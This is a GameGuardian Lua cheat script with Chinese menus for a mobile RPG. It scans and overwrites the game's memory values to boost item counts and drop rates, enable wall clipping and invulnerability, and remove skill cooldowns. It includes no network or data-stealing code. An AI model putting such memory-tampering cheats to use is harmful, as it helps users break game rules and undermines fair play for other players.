	 gg.clearResults()
end
--[[
function GFJB()   --国服金币功能
     gg.clearResults()	 
     gg.setRanges(32)
     gg.searchNumber("1.0F;1D;-2147483648~-1D;0D;1D::24", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
     gg.refineNumber("1",gg.TYPE_FLOAT,false,gg.SIGN_EQUAL)	
local n = gg.getResultCount()
local jz = gg.getResults(n)         
     for i = 1, n do     
     gg.setValues({[1] = {address = jz[i].address + 128, flags = gg.TYPE_DWORD, value = 5210000 } })    
     end   
     gg.alert("这里呀🌺金币修改成功这里呀🌺")
     gg.clearResults()	 
end
]]--	
function fxg()
 xl = gg.prompt({"输入你想修改的数量(上限15－30)"}, --输入当前关卡提供搜索参数
	  {[1] = 25}, {[1] = "number"})
	 if xl ~= nil then
gg.clearResults()
	gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('101101~115101;1500~10000;40;202001;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('1500~10000;40;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("10000;1;"..xl[1], gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('101101~117201;1500~9000;202001;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('1500~10000;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;'..xl[1], gg.TYPE_DWORD)
	      gg.toast("开启成功")
end
end
function hyd()
 xl = gg.prompt({"输入你想修改的数量(上限15－60)"}, --输入当前关卡提供搜索参数
	  {[1] = 35}, {[1] = "number"})
	 if xl ~= nil then
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('101101~117201;100~4999;201001;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('100~4999;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;'..xl[1], gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('101101~117201;5001~10000;201001;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('5001~10000;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;'..xl[1], gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('101101~117201;100~10000;201001;2::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('5001~10000;2', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;'..xl[1], gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast("开启成功")
end	 
end
function xypt()
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('101101;2000~10000;1;601101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;601101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast('开启中 ○○●○○○○○○30%')
	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('102101;2000~10000;1;602101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;602101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('103101;2000~10000;1;603101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;603101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast('开启中 ○○○●○○○○40%')
	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('104101;2000~10000;1;604101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;604101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('105101;2000~10000;1;605101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;605101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('106101;2000~10000;1;606101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;606101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('107101;2000~10000;1;607101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;607101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast('开启中 ○○○○●○○○○50%')
	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('108101;2000~10000;1;608101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;608101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('109101;2000~10000;1;609101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;609101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast('开启中 ○○○○○●○○○60%')
	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('110101;2000~10000;1;610101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;610101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('111101;2000~10000;1;611101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;611101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('112101;2000~10000;1;612101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;612101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('113101;2000~10000;1;613101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;613101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('114101;2000~10000;1;614101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;614101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	  gg.searchNumber('115101;2000~10000;1;615101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;615101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.searchNumber('116101;2000~10000;1;616101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;616101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.clearResults()
	 gg.searchNumber('117101;2000~10000;1;617101;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('2000~10000;1;617101;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;3;100002;11', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast("开启成功，绿叶一把11个绿叶n无效果请看功能教程")
	 end
function clg()
 xl = gg.prompt({"输入你想修改的数量(上限15－30)"}, --输入当前关卡提供搜索参数
	  {[1] = 25}, {[1] = "number"})
	 if xl ~= nil then
gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('101101~120201;1000~9999;200004;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('1000~9999;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;'..xl[1], gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast("开启成功")
end
end
function djzz()
gg.toast("请等待开启完成后再进下一关否则无效！")
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('101201;500~10000;601302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;601302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;601402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('102201;500~10000;602302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;602302;1:', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;602402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('103201;500~10000;603302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;603302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;603402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('104201;500~10000;604302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;604302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;604402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast('开启中 ○○○○○○●○○80%')
	 	 	  gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('105201;500~10000;605302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;605302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;605402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	  gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('106201;500~10000;606302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;606302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;606402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('107201;500~10000;607302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;607302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;607402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('108201;500~10000;608302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;608302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;608402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast('开启中 ○○○○○○○●○90%')
	 	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('109201;500~10000;609302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;609302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;609402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('110201;500~10000;610302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;610302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;610402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 
	 	 	 	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('111201;500~10000;611302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;611302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;611402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	  gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('112201;500~10000;612302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;612302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;612402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 gg.setRanges(32)
	 gg.searchNumber('113201;500~10000;613302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;613302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;613402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 gg.setRanges(32)
	 gg.searchNumber('114201;500~10000;614302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;614302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;614402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 	 	 gg.setRanges(32)
	 	 	 gg.toast('开启中 ○○○○○○○○●100%')
	 gg.searchNumber('115201;500~10000;615302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;615302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;615402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('116201;500~10000;616302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;616302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;616402;30', gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('117201;500~10000;617302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('500~10000;617302;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;617402;30', gg.TYPE_DWORD)
	 gg.clearResults()
gg.toast("紫装开启成功爆率百分百数量为30，无效果请看功能教程")
end
function jbbl()
	gg.searchNumber("701201~701301;4900;505002~505060;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)
gg.refineNumber("4900~10000;1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)
revert = gg.getResults(1000, nil, nil, nil, nil, nil, nil, nil, nil)
gg.editAll("10000;10", gg.TYPE_DWORD)

gg.clearResults()
gg.searchNumber("10000;505002~505060;15::21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)
gg.refineNumber("505002~505060", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)
revert = gg.getResults(1000, nil, nil, nil, nil, nil, nil, nil, nil)
local t = gg.getResults(1000, nil, nil, nil, nil, nil, nil, nil, nil)
for i, v in ipairs(t) do
	if v.flags == gg.TYPE_DWORD then
		v.value = v.value + "1"
	end
end
gg.setValues(t)
t = nil
gg.toast("开启成功百分百数量改为10，无效果请看功能教程")
	end	
function NDMY()
 xl = gg.prompt({"输入你想修改的数量(上限15)"}, --输入当前关卡提供搜索参数
	  {[1] = 12}, {[1] = "number"})
	 if xl ~= nil then
gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('106201~117201;1000~9999;60;211302;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('1000~9999;60;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;1;'..xl[1], gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast("开启成功爆率百分百数量改为12，无效果请看功能教程")
end	
end
function DHMY()
 xl = gg.prompt({"输入你想修改的数量(上限15)"}, --输入当前关卡提供搜索参数
	  {[1] = 12}, {[1] = "number"})
	 if xl ~= nil then
gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('106201~117201;1000~9999;60;211303;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('1000~9999;60;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;1;'..xl[1], gg.TYPE_DWORD)
	 gg.clearResults()
	  gg.setRanges(32)
	 gg.searchNumber('106201~117201;100~998;60;211303;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('100~998;60;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('10000;1;'..xl[1], gg.TYPE_DWORD)
	 gg.clearResults()
	 gg.toast("开启成功爆率百分百数量改为12，无效果请看功能教程")
end	
end

function xmsyzz()
gg.clearResults()
gg.searchNumber("120901~121702;4;8333;800004~800011;1::33", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)
gg.refineNumber("8333;1", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)
revert = gg.getResults(100, nil, nil, nil, nil, nil, nil, nil, nil)
gg.editAll("10000;25", gg.TYPE_DWORD)

gg.clearResults()
gg.searchNumber("10000;800004~800011;25::21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)
gg.refineNumber("800004~800011", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1, 0)
revert = gg.getResults(1000, nil, nil, nil, nil, nil, nil, nil, nil)
local t = gg.getResults(1000, nil, nil, nil, nil, nil, nil, nil, nil)
for i, v in ipairs(t) do
	if v.flags == gg.TYPE_DWORD then
		v.value = v.value + "8"
	end
end
gg.setValues(t)
t = nil
gg.toast("开启成功百分百数量改为30，无效果请看功能教程")

end
function syxgwp()
 xl = gg.prompt({"输入你想修改的数量(上限未测)"}, --输入当前关卡提供搜索参数
  {[1] = 1,}, {[1] = "number"})
		 if xl ~= nil then
gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('130000;1;12;100~9999;100000~900000;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber('100~9999;1', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('1;10000;'..xl[1], gg.TYPE_DWORD)
	 gg.toast("开启成功爆率,无效果请看功能教程")
end	




end
function zdyxg1()
     xl = gg.prompt({"物品代码:\n22003精品活血散\n22004稀有活血散\n1001混元丹\n8真经手抄\n9天外陨铁\n13宗门玉佩\n24凝神珠\n25神魄符\n\n\n输入数量","根据上方代码输入你需要修改的物品代码"}, --输入当前关卡提供搜索参数
	  {[1] = 1,[2] = 9,}, {[1] = "number",[2] = "number"})
xl[2]=xl[2]+200000
		  if xl ~= nil then
     gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('120901~121702;1000~9999;800004~800011;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("1000~8500;800004~800011;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("10000;"..xl[2]..";"..xl[1], gg.TYPE_DWORD)
	 gg.alert("开启成功爆率,无效果请看功能教程.开启后深渊紫装会无效")
end	
end
function zdyxg2()
     xl = gg.prompt({"物品代码:\n22003精品活血散\n22004稀有活血散\n1001混元丹\n8真经手抄\n9天外陨铁\n13宗门玉佩\n24凝神珠\n25神魄符\n\n\n输入数量","根据上方代码输入你需要修改的物品代码"}, --输入当前关卡提供搜索参数
	  {[1] = 1,[2] = 11,}, {[1] = "number",[2] = "number"})
		xl[2]=xl[2]+200000
		  if xl ~= nil then
gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('120901~121702;400~9999;800012~800019;1::33', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("400~9999;800012~800019;1::", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("10000;"..xl[2]..";"..xl[1], gg.TYPE_DWORD)
	 gg.alert("开启成功爆率,无效果请看功能教程.开启后深渊紫装会无效")
end	
end
	function  MainXM()      --副菜单2(
SN = gg.choice({
	 "这里呀🌺熊猫/暴走穿墙"..cqkg,
	 "这里呀🌺陷阱无伤 这里呀🌺",
	  "这里呀🌺技能无cd这里呀🌺",
	 "返回",
	 "             退出",
}, nil, "代理请咨询管理")
    if SN==1 then
	 HS13()
elseif SN==2 then
	 HS14()
 elseif SN==3 then
	 JNWC()
	  
elseif SN==4 then
	 FH()
elseif SN==5 then
	 TC()
end
XGCK = -1
end

function HS13()      --穿墙功能
     if cqkg == "(未开启)这里呀🚫" then   --判断与开关
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("21;7274563::5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("7274563", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.editAll("7274562", gg.TYPE_DWORD)
	 gg.alert("开启穿墙成功！下关生效ʚ❤ɞ")
	 gg.clearResults()
	 cqkg = "(已开启)这里呀🌺"
	 else
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("21;7274562::5", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.searchNumber("7274562", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(100)
	 gg.editAll("7274563", gg.TYPE_DWORD)
	 gg.alert("关闭穿墙成功！下关生效ʚ❤ɞ")
	 gg.clearResults()
	 cqkg = "(未开启)这里呀🚫"
	 end
end

function HS14()      --不死功能
	gg.alert("这里呀🚫过2关后开启n✨否则无效果")
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber("13,005;0;0;1;0;1~20000000::21", gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll("13,005;0;0;1;0;0", gg.TYPE_DWORD)
	 gg.alert("无伤开启成功！")
	 gg.clearResults()
end
function JNWC()
	 gg.clearResults()
	 gg.setRanges(32)
	 gg.searchNumber('10000~35550D;1D;10~99D;10~99D::17', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.refineNumber('10~99', gg.TYPE_DWORD, false, gg.SIGN_EQUAL, 0, -1)
	 gg.getResults(10000)
	 gg.editAll('0', gg.TYPE_DWORD)
	 gg.alert('所有技能无需能量，无冷却，推荐吐纳技能打世界BOSS')
	 gg.clearResults()
end



function FH()  --返回功能
	  Main0()
end

function TC()  --退出功能
	 os.exit()
end


while true do
   if zzkg == "(未开启)这里呀🚫" then 
   if stkg == "(未开启)这里呀🚫" then 
    if stkg2 == "(未开启)这里呀🚫" then 
   if jxkg == "(未开启)这里呀🚫" then 
   if cwkg == "(未开启)这里呀🚫" then 
   if wpkg == "(未开启)这里呀🚫" then 
   if xldkg == "(未开启)这里呀🚫" then 
   if lykg == "(未开启)这里呀🚫" then 
   if lhkg == "(未开启)这里呀🚫" then 
   if mldkg == "(未开启)这里呀🚫" then 
   if lypkg == "(未开启)这里呀🚫" then 
      zkg1="开启"    --掉落总开关符
      zkg2="这里呀🌺"
      dlkg="(关)这里呀🚫"
  end end end end end end end end end end end
  if zkg1 == "关闭" then dlkg="(开)这里呀🌺" end
  if gg.isVisible(true) then
    XGCK = 1
    gg.setVisible(false)
  end
  gg.clearResults()
  if XGCK == 1 then
     Main0()
  end
end

end






function Kl()

--------------↓↓↓下方配置代码勿改↓↓↓------------------------------------
function sousuodata(data)----搜索功能
 if data==nil then return nil end
 local i=1 local t={} local n=0 local zjz local flag=1 local EQL=gg.SIGN_EQUAL local style="long"
 gg.clearResults()
 for i=1, #data do
    if data[i].type==nil and i~=1 then data[i].type=data[i-1].type end
    if data[i].offset==nil and i~=1 then data[i].offset=data[i-1].offset end
    if data[i].type=="" then data[i].type="4" end
    if data[i].type==nil then gg.alert("搜索["..i.."]类型为空") return nil end     if data[i].offset==nil then gg.alert("搜索["..i.."]偏移为空") return nil end
    if i~=1 then
      if n>=9200 then
        if style=="short" then loadresults(t) style="long" end
        if     data[i].offset=="up" then exoffset(2,data[i].value,data[i].type) data[i].value=""
        elseif data[i].offset=="down" then exoffset(3,data[i].value,data[i].type) data[i].value=""
        elseif data[i].offset=="" then 
        else exoffset(1,data[i].offset,data[i].type)
        end
      else
        if style=="long" then n=gg.getResultCount() t=getResultable(n) style="short" end
        if     data[i].offset=="up" then t=exoffset(2,data[i].value,data[i].type,t) data[i].value=""
        elseif data[i].offset=="down" then t=exoffset(3,data[i].value,data[i].type,t) data[i].value=""
        elseif data[i].offset=="" then 
        else t=exoffset(1,data[i].offset,data[i].type,t)
        end      
      end
    end
    local dlval=tostring(data[i].value) data[i].value=nil data[i].value=dlval
    if data[i].value:sub(1,1)=="!" then data[i].value=data[i].value:sub(2) EQL=gg.SIGN_NOT_EQUAL else EQL=gg.SIGN_EQUAL end
    if data[i].value~="" then
      if data[i].value:sub(1,1)=="h" and style=="short" then loadresults(t) style="long" end
      if style=="long" then
        if i==1 then gg.searchNumber(data[i].value,data[i].type,false,EQL,0, -1)   else gg.refineNumber(data[i].value,data[i].type,false,EQL,0, -1)  end
      else
        dlval=split(data[i].value,"~")
        if dlval[2]==nil then dlval[2]=dlval[1] end
         for j=#t,1,-1 do
          if (t[j].value>=tonumber(dlval[1]) and t[j].value<=tonumber(dlval[2])) and EQL==gg.SIGN_EQUAL then
          elseif (t[j].value<tonumber(dlval[1]) or t[j].value>tonumber(dlval[2])) and EQL==gg.SIGN_NOT_EQUAL then
          else table.remove(t,j)
          end
        end
      end
    end
    if style=="long" then n=gg.getResultCount() else n=#t end
    if n==0 then gg.alert("未搜到数据"..i) flag=0 break end
 end
 if style=="long" then n=gg.getResultCount() t=getResultable(n) end
 gg.clearResults()
 if flag==1 then return t else return nil end
end
function jixudata(shubiao,data)----继续功能
 if shubiao==nil or data==nil then return nil end
